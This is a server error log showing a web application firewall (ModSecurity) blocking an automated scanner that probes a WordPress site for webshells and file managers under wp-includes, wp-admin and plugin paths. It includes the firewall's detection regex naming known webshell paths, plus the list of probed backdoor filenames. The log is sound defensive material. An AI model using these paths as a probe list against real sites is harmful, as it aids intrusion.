[Sat Feb 28 08:51:29.212902 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.21:52893] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaI8EX6mbajs3bzQGyuvVwAAAUw"]
[Sat Feb 28 08:51:30.095823 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.31:45023] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaI8EmuX5e1Q32gqxH03cAAAAQw"]
[Sat Feb 28 08:51:30.374015 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.26:44459] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaI8EmuX5e1Q32gqxH03fQAAAQM"]
[Sat Feb 28 08:51:30.978356 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.29:21863] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaI8EqIAO5fN7BxyqcE-qQAAAMM"]
[Sat Feb 28 08:51:31.245625 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.28:35783] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaI8E36mbajs3bzQGyuvaQAAAVQ"]
[Sat Feb 28 08:51:31.861361 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.23:41021] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaI8ExCf4HvhVePw3LallwAAABM"]
[Sat Feb 28 08:51:32.125718 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.25:34527] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaI8FGuX5e1Q32gqxH03ogAAARU"]
[Sat Feb 28 08:51:33.195910 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.22:48661] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaI8FWuX5e1Q32gqxH03wQAAARU"]
[Sat Feb 28 08:51:33.442866 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.31:41961] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/403.php"] [unique_id "aaI8FaIAO5fN7BxyqcE-uAAAAMs"]
[Sat Feb 28 08:51:34.081553 2026] [proxy_fcgi:error] [pid 22194:tid 22205] [client 173.244.55.28:43887] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:34.531845 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.28:43887] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaI8Fn6mbajs3bzQGyuvowAAAVc"]
[Sat Feb 28 08:51:34.775613 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.29:59773] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:35.220691 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.29:59773] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaI8F2uX5e1Q32gqxH04BgAAARY"]
[Sat Feb 28 08:51:35.414409 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.29:51701] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aaI8F36mbajs3bzQGyuvrAAAAUs"]
[Sat Feb 28 08:51:36.099253 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.28:59765] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaI8GGuX5e1Q32gqxH04HAAAARE"]
[Sat Feb 28 08:51:36.744710 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.26:48261] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aaI8GKIAO5fN7BxyqcE-5AAAAM4"]
[Sat Feb 28 08:51:36.978084 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.23:45617] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaI8GH6mbajs3bzQGyuvwwAAAUY"]
[Sat Feb 28 08:51:37.636646 2026] [proxy_fcgi:error] [pid 39292:tid 39313] [client 173.244.55.21:28299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:38.753457 2026] [proxy_fcgi:error] [pid 22194:tid 22198] [client 173.244.55.21:25509] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:38.964082 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.21:28299] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/admin.php"] [unique_id "aaI8GqIAO5fN7BxyqcE_CQAAAMI"]
[Sat Feb 28 08:51:39.637461 2026] [proxy_fcgi:error] [pid 22194:tid 22218] [client 173.244.55.21:25509] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:39.849441 2026] [proxy_fcgi:error] [pid 22194:tid 22197] [client 173.244.55.28:40241] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:40.074999 2026] [proxy_fcgi:error] [pid 22194:tid 22215] [client 173.244.55.21:25509] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:40.291940 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.28:40241] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaI8HH6mbajs3bzQGyuv_QAAAU0"]
[Sat Feb 28 08:51:40.510401 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.21:25509] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah/function.php"] [unique_id "aaI8HH6mbajs3bzQGyuwAQAAAUw"]
[Sat Feb 28 08:51:42.270770 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.28:59857] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaI8HqIAO5fN7BxyqcE_OAAAANg"]
[Sat Feb 28 08:51:43.490186 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.23:40141] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaI8H2uX5e1Q32gqxH04pQAAAQo"]
[Sat Feb 28 08:51:44.370666 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 173.244.55.28:41039] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:44.496292 2026] [:error] [pid 39292:tid 39314] [client 173.244.55.31:21397] [client 173.244.55.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.31, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaI8IKIAO5fN7BxyqcE_UAAAANQ"]
[Sat Feb 28 08:51:44.805309 2026] [:error] [pid 39292:tid 39306] [client 173.244.55.28:41039] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaI8IKIAO5fN7BxyqcE_VwAAAMw"]
[Sat Feb 28 08:51:44.948348 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.31:21397] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aaI8IKIAO5fN7BxyqcE_WAAAAM4"]
[Sat Feb 28 08:51:45.688739 2026] [proxy_fcgi:error] [pid 39292:tid 39298] [client 173.244.55.25:30475] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:45.821841 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.23:64839] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:46.256306 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.23:64839] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/rk2.php"] [unique_id "aaI8IqIAO5fN7BxyqcE_aQAAAME"]
[Sat Feb 28 08:51:46.585032 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.25:30475] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8IqIAO5fN7BxyqcE_bAAAAMA"]
[Sat Feb 28 08:51:47.456228 2026] [:error] [pid 39185:tid 39249] [client 173.244.55.20:32025] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8IxVE-FfM89u7BQasNgAAAIM"]
[Sat Feb 28 08:51:47.582183 2026] [:error] [pid 39183:tid 39205] [client 173.244.55.20:44001] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/class-config.php"] [unique_id "aaI8IxCf4HvhVePw3Lal0QAAAA0"]
[Sat Feb 28 08:51:48.333304 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.26:26297] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI8JBVE-FfM89u7BQasRAAAAIs"]
[Sat Feb 28 08:51:49.662114 2026] [:error] [pid 22194:tid 22213] [client 173.244.55.22:48499] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaI8JX6mbajs3bzQGyuwbAAAAVE"]
[Sat Feb 28 08:51:49.790712 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.25:39731] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bypass.php"] [unique_id "aaI8JaIAO5fN7BxyqcE_hwAAANE"]
[Sat Feb 28 08:51:50.535033 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.22:37985] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaI8JmuX5e1Q32gqxH04-wAAAQQ"]
[Sat Feb 28 08:51:50.670497 2026] [proxy_fcgi:error] [pid 11791:tid 11798] [client 173.244.55.31:63675] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:51.111151 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.31:63675] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:51.415081 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.22:59105] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaI8J6IAO5fN7BxyqcE_mgAAAMQ"]
[Sat Feb 28 08:51:52.293684 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.26:56377] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaI8KKIAO5fN7BxyqcE_pgAAANI"]
[Sat Feb 28 08:51:53.189932 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.25:55613] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:53.332079 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.31:63675] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaI8KWuX5e1Q32gqxH05MgAAARY"]
[Sat Feb 28 08:51:54.513246 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.25:55613] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaI8KqIAO5fN7BxyqcE_yQAAANM"]
[Sat Feb 28 08:51:54.664420 2026] [:error] [pid 39185:tid 39268] [client 173.244.55.30:61485] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI8KhVE-FfM89u7BQasiAAAAJY"]
[Sat Feb 28 08:51:55.410079 2026] [proxy_fcgi:error] [pid 22194:tid 22200] [client 173.244.55.22:58643] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:55.558228 2026] [proxy_fcgi:error] [pid 39292:tid 39298] [client 173.244.55.23:46151] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:55.856349 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.22:58643] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaI8K36mbajs3bzQGyuw4AAAAVA"]
[Sat Feb 28 08:51:56.008183 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.23:46151] [client 173.244.55.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.23, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaI8LKIAO5fN7BxyqcE_1AAAAMM"]
[Sat Feb 28 08:51:56.738463 2026] [proxy_fcgi:error] [pid 22194:tid 22203] [client 173.244.55.20:46197] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:56.912210 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.23:46151] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaI8LKIAO5fN7BxyqcE_4QAAANg"]
[Sat Feb 28 08:51:57.784245 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.20:57429] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/index.php"] [unique_id "aaI8LaIAO5fN7BxyqcE_5gAAAMY"]
[Sat Feb 28 08:51:58.602509 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.20:46197] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd-1/admin.php"] [unique_id "aaI8Ln6mbajs3bzQGyuxEAAAAUo"]
[Sat Feb 28 08:51:59.115560 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.22:30299] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:59.917426 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.29:28549] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaI8L2uX5e1Q32gqxH05oAAAARQ"]
[Sat Feb 28 08:52:00.451280 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.22:30299] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aaI8MGuX5e1Q32gqxH05tQAAARY"]
[Sat Feb 28 08:52:01.249945 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.30:28035] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaI8MaIAO5fN7BxyqcE__gAAAM8"]
[Sat Feb 28 08:52:01.331441 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.31:25715] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:01.786151 2026] [:error] [pid 39185:tid 39246] [client 173.244.55.31:25715] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/autoload_classmap.php"] [unique_id "aaI8MRVE-FfM89u7BQasyAAAAIA"]
[Sat Feb 28 08:52:02.585048 2026] [proxy_fcgi:error] [pid 22194:tid 22200] [client 173.244.55.25:57331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:03.029621 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.25:57331] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aaI8M36mbajs3bzQGyuxYAAAAUY"]
[Sat Feb 28 08:52:03.124036 2026] [proxy_fcgi:error] [pid 39185:tid 39268] [client 173.244.55.28:64163] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:03.917850 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.28:47485] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:04.011492 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.28:64163] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaI8NBVE-FfM89u7BQas2QAAAJI"]
